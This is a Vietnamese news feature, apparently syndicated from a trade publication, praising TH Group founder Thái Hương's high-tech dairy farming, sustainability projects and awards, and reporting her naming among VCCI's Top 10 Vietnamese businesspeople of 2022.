Mở đầu là Dự án ứng dụng công nghệ cao trong chăn nuôi bò sữa và chế biến sữa tổng đầu tư 1,2 tỷ USD, được Liên minh Kỷ lục thế giới xác nhận năm 2020 là Cụm trang trại tập trung với quy trình sản xuất khép kín quy mô lớn nhất thế giới. Tại dự án này, TH đi đầu trong việc chuyển đổi từ các trang trại thông thường trên đồng đất Việt sang trang trại hữu cơ đạt chứng nhận hữu cơ EU và USDA. Tập đoàn TH cũng là đơn vị duy nhất ở Việt Nam chuyển đổi thành công hàng ngàn con bò sữa thành đàn bò hữu cơ, được thực hiện khả thi và có hiệu quả trong quy trình khép kín “từ đồng cỏ đến bàn ăn” của Tập đoàn TH.

Top 10 Doanh nhân Việt Nam tiêu biểu 2022
Trang trại bò sữa của TH ở Nghĩa Đàn (Nghệ An) vào năm 2020 đã được Liên minh Kỷ lục thế giới xác nhận là Cụm trang trại tập trung với quy trình sản xuất khép kín quy mô lớn nhất thế giới

TH đã áp dụng công nghệ cao trong tất cả các khâu của quy trình khép kín từ đồng cỏ xanh tới ly sữa sạch, đó là những công nghệ chăn nuôi, quản lý đàn bò, chuồng trại hiện đại hàng đầu thế giới, trong đó có hệ thống quản lý bò sữa tiên tiến nhất thế giới Afifarm của Israel; Quy trình quản lý dịch bệnh, thú y của New Zealand; Quy trình, thiết bị xử lý nước, chất thải của Nhật, Israel, Hà Lan,…

Quyết định đầu tư những công nghệ, trang thiết bị hiện đại bậc nhất thế giới này để chế ngự thiên nhiên đòi hỏi mức đầu tư lớn, nhưng chính định hướng đầu tư đó đã đặt nền móng cho sự phát triển của TH trong hơn 10 năm qua cũng như nền móng cho ngành công nghiệp chăn nuôi bò sữa và chế biến sữa tươi sạch, tạo ra cuộc cách mạng với thị trường sữa Việt Nam, đặc biệt là thay đổi thói quen từ tiêu dùng sữa bột pha lại (hay còn gọi là sữa hoàn nguyên/pha lại) sang sử dụng sữa tươi nguyên chất.

Không chỉ có vậy, đến nay, với mô hình kinh tế tuần hoàn, doanh nhân Thái Hương và Tập đoàn TH đã tận dụng chính điều kiện tự nhiên của Nghĩa Đàn (Nghệ An) là vùng đất có khí hậu khắc nghiệt, quanh năm nắng nóng để nâng cao hiệu quả sản xuất kinh doanh của mình.

Top 10 Doanh nhân Việt Nam tiêu biểu 2022
Điện mặt trời tại Cụm trang trại tập trung ứng dụng công nghệ cao với quy trình sản xuất khép kín quy mô lớn nhất thế giới của Tập đoàn TH

Từ năm 2020, Tập đoàn TH đã đầu tư hệ thống pin năng lượng mặt trời ngay trên những mái nhà của cụm trang trại, nhằm tạo ra nguồn điện “xanh” phục vụ cho nhu cầu sản xuất của tập đoàn. Tới giai đoạn năm 2022, riêng tại Nghệ An, Tập đoàn TH có 9 dự án điện mặt trời áp mái, bao phủ trên khắp các mái của trang trại, nhà máy của Tập đoàn TH tại huyện Nghĩa Đàn, đã hòa lưới điện quốc gia. Nguồn điện xanh, sạch hoàn toàn từ thiên nhiên này đã đáp ứng phần lớn nhu cầu tiêu thụ điện của toàn trang trại TH.

Không chỉ chú trọng áp dụng công nghệ cao vào canh tác hữu cơ, tích cực sử dụng các nguồn năng lượng xanh, Tập đoàn TH còn chú trọng bảo vệ tài nguyên nước, sáng lập và tham gia các tổ chức bảo vệ môi trường, thu gom và tái chế bao bì cũng như thực hiện hàng loạt hành động giảm thiểu rác thải nhựa, lan tỏa sống xanh trong cộng đồng. TH đã thay đổi tập quán, thay đổi thói quen, thay đổi cách thức sản xuất của người nông dân ở xung quanh vùng dự án, qua đó góp phần tạo nên một cuộc sống văn minh hơn, tiên tiến hơn, tốt đẹp hơn.

Từ kinh nghiệm trên đồng đất Nghệ An, bà Thái Hương tiếp tục đưa thương hiệu TH ra thế giới, kiến tạo những dự án như thế ở Liên bang Nga và Australia.

Khát vọng nâng tầm sức khỏe cộng đồng từ sản phẩm thiên nhiên

Khi được hỏi, đâu là mấu chốt đưa đến thành công của TH, Anh hùng Lao động Thái Hương chia sẻ: “Tính nhân văn là ánh sáng dẫn đường, tỏa sáng cho thương hiệu. Từ ngày đầu tiên, tôi đã xác định 5 giá trị cốt lõi của sản phẩm TH, xây dựng cho TH thương hiệu mang tầm cỡ quốc tế: ‘True Happiness – Hạnh phúc đích thực’ mang tính nhân văn rõ rệt và vì sức khỏe cộng đồng. Và tôi kiên tâm đi theo những giá trị đó trong bất cứ hoàn cảnh nào”.

Ở doanh nhân Thái Hương, khát vọng cống hiến đã được hiện thực hóa mạnh mẽ. Bà đã cùng TH tiên phong tạo ra các xu hướng tiêu dùng tốt cho sức khỏe, phát triển bền vững, mở ra những cơ hội lớn cho toàn bộ thị trường, trong đó nổi bật là dấu ấn trong bốn cuộc cách mạng: Cách mạng sữa tươi sạch, cách mạng đồ uống tốt cho sức khỏe, cách mạng hữu cơ, cách mạng dinh dưỡng cho người Việt…

TH không chỉ tạo đột phá và đặt nền móng cho ngành công nghiệp sản xuất sữa tươi sạch, TH còn hướng đến các sản phẩm sữa hạt có vị ngọt tự nhiên từ chà là, hoàn toàn không dùng đường tinh luyện, tốt cho sức khỏe, giúp giảm đường huyết và tình trạng béo phì đang diễn ra phổ biến trong cộng đồng.

Các sản phẩm sữa TH true MILK đạt Thương hiệu quốc gia nhiều năm, tham gia nhiều hội chợ, triển lãm quốc tế và giành nhiều giải vàng, bạc như: Giải thưởng Thực phẩm Tốt nhất ASEAN; Giải thưởng thực phẩm tốt nhất tại Triển lãm thực phẩm thế giới tổ chức tại Liên bang Nga liên tiếp trong 5 năm, từ 2015; Giải thưởng tại Hội chợ quốc tế chuyên ngành thực phẩm Gulfood tại Dubai 2016, Giải thưởng Chất lượng châu Á – Thái Bình Dương cùng nhiều giải thưởng khác.

Top 10 Doanh nhân Việt Nam tiêu biểu 2022
Nhiều sản phẩm TH đạt Thương hiệu quốc gia nhiều năm, tham gia nhiều hội chợ, triển lãm quốc tế và giành nhiều giải vàng, bạc…

Sau sữa tươi và sữa hạt, TH tiếp tục phát triển các dự án bảo tồn, phát triển và chế biến thảo dược. Bà Thái Hương ấp ủ gây dựng lại hệ sinh thái thảo dược. Mở đầu là vùng dược liệu Mường Lống, Nghệ An với nhiều loài đặc hữu và quý hiếm dưới những tán rừng mây phủ ở độ cao từ 1.400-2.700m so với mực nước biển. TH đã và sẽ cho ra đời những sản phẩm từ thảo dược tốt cho sức khỏe, nâng cao đề kháng, phòng chống các bệnh mãn tính không lây, tạo ra môi trường sống sạch, ăn sạch cho người dân.

Với khát vọng nâng tầm sức khỏe cộng đồng từ sản phẩm thiên nhiên, hiện Tập đoàn TH đã xây dựng được một hệ sinh thái trên 130 sản phẩm sạch, hữu cơ, tốt cho sức khỏe.

Bản lĩnh doanh nhân thời đại mới

Trong lần đến thăm huyện Nghĩa Đàn – nơi có cụm trang trại bò sữa tập trung ứng dụng công nghệ cao với quy trình sản xuất khép kín của Tập đoàn TH vào tháng Tư vừa qua, Phó Chủ tịch nước Võ Thị Ánh Xuân ấn tượng với Nhà sáng lập Tập đoàn là người không chỉ phát triển về kinh tế, mà còn tiên phong vào các lĩnh vực khó – tức là lĩnh vực nông nghiệp, lĩnh vực nông thôn bằng sự kiên trì đeo đuổi, đi đầu đổi mới bằng công nghệ cao.

Ngoài ra, TH còn thay đổi tập quán, thay đổi thói quen, thay đổi cách thức sản xuất của người nông dân ở xung quanh vùng dự án, qua đó góp phần tạo nên một cuộc sống văn minh hơn, tiên tiến hơn, tốt đẹp hơn.

Sự quyết liệt và sáng tạo, mang lại những đóng góp quan trọng có tính cách mạng đối với nền nông nghiệp mà doanh nhân Thái Hương đã và đang làm, được PGS-TS. Trần Đình Thiên – nguyên Viện trưởng Viện Kinh tế Việt Nam gọi là cách chơi “thái sơn áp đỉnh” – dùng đẳng cấp cao nhất để chinh phục các thị trường rộng lớn.

“Việt Nam cần phải có những doanh nghiệp lớn làm trụ cột cho phát triển và bà Thái Hương cùng với Tập đoàn TH là một trong những trụ cột quan trọng cho phát triển nông nghiệp – lĩnh vực rất khó cạnh tranh với thế giới, thì nay chúng ta đã làm được. Tôi nghĩ, thật tuyệt vời nếu như nền nông nghiệp Việt Nam trong nền kinh tế Việt Nam có thêm được những con người như vậy thì chúng ta không có lí do gì phải lo lắng về sự tụt hậu”, ông Thiên nhấn mạnh.

Ngoài kinh doanh, sản xuất, bà Thái Hương cũng là người tiên phong, đồng hành cùng Chính phủ Việt Nam thực hiện các chương trình an sinh xã hội lớn, các hoạt động xoá đói giảm nghèo, các chương trình góp phần cải thiện tầm vóc, thể lực thế hệ trẻ như Sữa học đường, Sức khỏe học đường quốc gia…

Đặc biệt, thực hiện chiến dịch chung tay đẩy lùi Covid-19, từ đầu năm 2020 đến nay, TH có nhiều hoạt động trao tặng sản phẩm, vật tư y tế, máy thở, đóng góp vào Quỹ vaccine với tổng giá trị hỗ trợ 108 tỷ đồng.

Với những đóng góp cho sự phát triển bền vững của nền kinh tế, xã hội, môi trường, Anh hùng Lao động Thái Hương đã được vinh danh Top 10 Doanh nhân Việt Nam tiêu biểu 2022.

Top 10 Doanh nhân Việt Nam tiêu biểu 2022
Bà Thái Hương được vinh danh Top 10 Doanh nhân Việt Nam tiêu biểu 2022

Trước đó, bà Thái Hương đã nhận được nhiều danh hiệu cao quý từ Nhà nước và các vinh danh, giải thưởng quốc tế, như: Danh hiệu Anh hùng Lao động thời kỳ đổi mới do Nhà nước Việt Nam phong tặng năm 2020; Top 10 Phụ nữ vì Phát triển bền vững châu Á 2021; Top 50 Phụ nữ châu Á trên 50 tuổi có sức ảnh hưởng lớn tầm quốc tế do Forbes công bố; Nhà lãnh đạo xuất sắc của năm – giải Stevie Awards 2018, Top 50 nữ doanh nhân quyền lực châu Á 2 năm liên tiếp 2015, 2016 do Forbes bình chọn, Top 10 Phụ nữ vì Phát triển bền vững châu Á 2021” (Asia’s Top Sustainability Superwoman 2021)…

Nhưng không chỉ dừng lại biên giới quốc gia mình, khát vọng của doanh nhân Thái Hương- doanh nhân thời đại mới là muốn đưa sản phẩm nông nghiệp Việt Nam đến bàn ăn của các gia đình 5 châu 4 biển.

“Chúng tôi sẽ đưa nông nghiệp Việt Nam ra thế giới với những chuẩn mực khắt khe nhất đến hoàn toàn từ thiên nhiên”, Anh hùng Lao động Thái Hương nhấn mạnh.

Quyết tâm của bà Thái Hương là hoàn toàn có cơ sở, bởi lẽ trên toàn bộ hành trình đã qua của TH, dấu ấn phát triển bền vững, hài hòa cùng môi trường, trân quý Mẹ thiên nhiên là vô cùng đậm nét. Những sản phẩm sạch, bảo vệ sức khỏe, thân thiện với môi trường của TH đang ngày càng chiếm được lòng tin của người tiêu dùng.

Và, trên con đường ấy, người ta luôn thấy một bà mẹ – doanh nhân luôn sẵn sàng đi trước, đón đầu, tiên phong vì sức khỏe người Việt.

Sáng 12/10 tại Hà Nội, Liên đoàn Thương mại và Công nghiệp Việt Nam (VCCI) tổ chức Lễ kỷ niệm ngày Doanh nhân Việt Nam (13/10) và tôn vinh doanh nhân Việt Nam tiêu biểu năm 2022.Giải thưởng năm nay được trao cho 60 doanh nhân. Trong đó, Ban tổ chức đã bình chọn top 10 doanh nhân Việt Nam tiêu biểu năm 2022 với những đóng góp đặc biệt. Anh hùng Lao động Thái Hương – Nhà sáng lập, Chủ tịch Hội đồng chiến lược Tập đoàn TH; Tổng giám đốc Ngân hàng Thương mại cổ phần Bắc Á được vinh danh vào Top 10 Doanh nhân Việt Nam tiêu biểu 2022. Cùng với đó, bà Thái Hương còn được tuyên dương là một trong 6 doanh nhân tiêu biểu có thành tích, đóng góp xuất sắc trong phòng chống đại dịch Covid-19.

Theo ông Phạm Tấn Công, Chủ tịch VCCI, 60 doanh nhân tiêu biểu năm 2021 có doanh thu trên 1,2 triệu tỷ đồng, vốn chủ sở hữu trên 722.000 tỷ đồng, nộp ngân sách Nhà nước gần 148.000 tỷ đồng, lợi nhuận sau thuế trên 70.000 tỷ đồng và số lao động trên 251.000 người.

Các doanh nghiệp do Top 10 lãnh đạo, quản lý có kết quả sản xuất kinh doanh năm 2021 rất ấn tượng: Tổng doanh thu gần 746 nghìn tỷ đồng, vốn chủ sở hữu trên 611 nghìn tỷ đồng, nộp ngân sách nhà nước trên 136 nghìn tỷ đồng, lợi nhuận sau thuế trên 59 nghìn tỷ đồng và số lao động trên 132 nghìn người.

Tại buổi lễ, Thủ tướng Chính phủ Phạm Minh Chính đã trao tặng danh hiệu Doanh nhân Việt Nam tiêu biểu năm 2022 cho Top 10 cá nhân xuất sắc.

Thủ tướng bày tỏ sự phấn khởi và niềm tin cùng cả nước và đội ngũ doanh nhân về những kết quả phục hồi và phát triển kinh tế – xã hội của đất nước trong bối cảnh khu vực và thế giới còn nhiều khó khăn thời gian qua, nhất là kết quả rất tích cực của 9 tháng của năm 2022.

Thủ tướng Chính phủ Phạm Minh Chính khẳng định Đảng, Nhà nước luôn quan tâm và đánh giá cao vai trò của đội ngũ doanh nhân và cộng đồng doanh nghiệp Việt Nam; khẳng định đây là lực lượng sản xuất vật chất chủ yếu của nền kinh tế Việt Nam, đóng vai trò hết sức quan trọng trong sự nghiệp xây dựng và phát triển đất nước qua các thời kỳ lịch sử của cách mạng Việt Nam.

Nguồn: Mỹ Hạnh- https://congthuong.vn/

The post Anh hùng Lao động Thái Hương được vinh danh Top 10 Doanh nhân Việt Nam tiêu biểu 2022 appeared first on Tri thức và Doanh nhân.

]]> https://dauantrithucvadoanhnhan.vn/2023/03/anh-hung-lao-dong-thai-huong-duoc-vinh-danh-top-10-doanh-nhan-viet-nam-tieu-bieu-2022/feed/ 0